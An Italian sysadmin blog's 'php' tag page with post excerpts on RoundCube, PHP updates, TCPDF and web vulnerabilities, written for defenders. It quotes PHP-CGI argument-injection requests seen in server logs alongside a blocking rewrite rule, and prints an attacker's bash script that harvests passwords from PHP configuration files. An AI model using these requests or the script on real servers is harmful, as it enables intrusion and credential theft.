Tag: php

  • RoundCube 0.8

    È uscita la nuova versione 0.8 del client webmail RoundCube.

    Questa nuova versione presenta un’interfaccia grafica completamente ridisegnata (“Larry”) realizzata da Michael Krautwasser.

    Oltre a numerose correzioni di bachi esistenti, RoundCube, con l’eccezione dei plugin e delle skin, viene ora distribuito sotto la licenza GPL v3+.

    Questa versione è considerata stabile, tutti coloro i quali hanno vecchie versioni sono incoraggiati a scaricarla e aggiornarla.

  • Vulnerabilità di PHP CGI

    Le installazioni di PHP che utilizzano l’interprete in modalità CGI (ma non in modalità FastCGI) sono esposte ad una possibile vulnerabilità.

    Lo sfruttamento di questo baco è già in giro per Internet; se nei log http vi trovate qualcosa tipo

    GET /index.php?-s HTTP/1.1
    POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

    è qualche simpaticone che sta tentando di vedere se il vostro server è vulnerabile.

    Per dissuadere gli attaccanti su un server Apche, indipendentemente dalla modalità con cui lavora PHP, basta aggiungere questi parametri nel file .htaccess o in un posto analogo

    RewriteEngine on
    RewriteCond %{QUERY_STRING} ^[^=]*$
    RewriteCond %{QUERY_STRING} %2d|\- [NC]
    RewriteRule .? – [F,L]

    Da notare che Facebook non solo non è vulnerabile all’attacco, ma se provate a chiedere la pagina https://facebook.com/?-s vi risponde con un invito…

  • Analisi di un tentativo di compromissione

    Analizzare i tentativi di attacco dei server è sempre un’esperienza istruttiva per il SysAdmin.

    Questa notte ho analizzato il tentativo di attacco, abortito per varie ragioni tra cui avere il sistema aggiornato, al server web di un cliente.

    L’attaccante ha sfruttato una vulnerabilità di un vecchio script dimenticato per caricare alcuni file, ma poi non è riuscito ad andare molto più in là.

    Uno di questi file è uno script shell bash che fa una cosa interessante:

    count=0
    blankLine=" "
    find / -name "*conf*.php" >> PATHS 2> /dev/null
    TOTAL=`grep -c . PATHS`
    for i in `cat PATHS`;
    do
    grep -i pass $i > tmp
    perl -wne'while(/\x27(.+?)\x27/g){print "$1\n"}' tmp >> pass.tmp
    perl -wne'while(/\x22(.+?)\x22/g){print "$1\n"}' tmp >> parole.tmp
    count=$[count + 1]
    echo -n -e " \r$blankLine\r "
    echo -n -e " $count - $TOTAL "
    done

    Traducendo in italiano, lo script cerca tutti i file PHP il cui nome contiene conf e poi cerca di estrarre le password registrate in quei file.

  • Aggiornamenti di PHP per CentOS

    Sono stati rilasciati gli aggiornamenti dei pacchetti php e php53 di CentOS versione 6 e 5.x rispettivamente.

    Questo aggiornamento corregge due bachi di sicurezza dell’interprete, come indicato nella nota di quello che CenOS chiama l’upstream.

    Il primo baco corretto riguarda la funzione di hash degli array suscettibile di collisioni prevedibili. Se un HTTP POST contiene molti parametri il cui nome ha il medesimo hash, il consumo di CPU di PHP aumenta notevolmente.

    Questo problema è stato mitigato introducendo la direttiva di configurazione max_input_vars, il cui valore di default è 1.000.

    Il secondo baco corretto riguarda un integer overflow sui sistemi a 32 bit: se viene caricata un’immagine i cui dati EXIF sono stati modificati ad arte, l’interprete va in crash e potrebbe esporre i dati che ha in memoria.

  • TCPDF

    TCPDF è una libreria per PHP scritta dall’italiano Nicola Asuni per creare documenti PDF.

    Uno dei punti di forza di TCPDF, oltre alla sua incredibile versatilità, è che non richiede nessun software installato sul server: il file PDF viene creato tutto all’interno della libreria. Servono solamente le librerie GD se si vogliono fare operazioni di elaborazione sulle immagini, come il ridimensionamento.

    Un’altra comoda caratteristica è la possibilità di dare in pasto a TCPDF del testo con codici di formattazione HTML.

    È anche possibile includere nei documenti molti tipi di codici a barre monodimensionali e bidimensionali, incluso il QR Code.

    Tutti i metodi sono ampiamente documentati e sono disponibili moltissimi esempi con il codice sorgente commentato e il PDF risultante.

    Decisamente LA libreria per creare i PDF!

  • Esempio da evitare

    L’immagine a fianco mostra un tipico esempio di come non vada scritto il software di gestione di un sito.

    L’errore principale in questo caso è stato quello di realizzare un software che accetta un file come parametro passato via HTTP.

    Ipotizzando che la lettura di un file passato come parametro sia una necessità, è comunque possibile evitare il directory traversal.

    La funzione realpath() permette di convertire i path relativi in path assoluti e, quindi, sanificare le stringhe prima di passarle alle funzioni di apertura file: utilizzando il valore ritornato da realpath('.') è possibile eseguire dei controlli sulla stringa da sanificare per evitare che vengano caricati file in posizioni non previste.

  • Full path disclosure

    Full path disclosure (letteralmente divulgazione del percorso completo) è una vulnerabilità di un sito tale per cui, in particolari condizioni di errore, viene rivelato il percorso completo della directory del server in cui si trovano i file di un sito.

    Apparentemente potrebbe essere un problema minimale, ma è un dato che facilita molto la vita a chi vuole penetrare nel sistema utilizzando altri punti deboli di un sito.

    Immaginiamo che ci sia un sito dinamico che carica le pagine in base ad un parametro passato nell’URL tipo

    (altro…)